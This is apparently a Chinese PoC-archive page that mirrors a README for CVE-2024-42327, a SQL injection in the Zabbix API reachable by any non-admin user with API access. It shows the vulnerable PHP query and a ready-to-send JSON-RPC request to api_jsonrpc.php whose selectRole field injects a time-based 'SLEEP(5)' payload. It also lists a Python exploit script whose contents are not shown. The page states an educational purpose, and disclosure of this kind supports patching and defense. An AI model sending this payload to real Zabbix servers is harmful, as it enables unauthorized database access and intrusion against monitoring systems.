关联漏洞
标题：
Zabbix SQL注入漏洞
(CVE-2024-42327)
描述：Zabbix是Zabbix公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 6.0.0至6.0.31版本、6.4.0至6.4.16版本和7.0.0版本存在SQL注入漏洞，该漏洞源于CUser类的addRelatedObjects函数中存在SQL注入漏洞，允许攻击者操纵数据库查询。
描述
PoC for CVE-2024-42327 / ZBX-25623
介绍
# PoC for CVE-2024-42327 / ZBX-25623
A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.
## Disclaimer
This script is provided for educational purposes only!
## Proof-of-Concept
The following code from version 6.0.31 is vulnerable to SQLi:
```
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
```
The following call triggers the vulnerability:
```
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}
```
## References
- https://support.zabbix.com/browse/ZBX-25623
- https://nvd.nist.gov/vuln/detail/CVE-2024-42327
文件快照
[4.0K] /data/pocs/3a0956bba3d5ff12f5e431882c63f39a3feb3ca6
├── [2.8K] cve-2024-42327.py
├── [4.0K] infrastructure
│ └── [4.1K] compose.yaml
└── [1.2K] README.md
1 directory, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。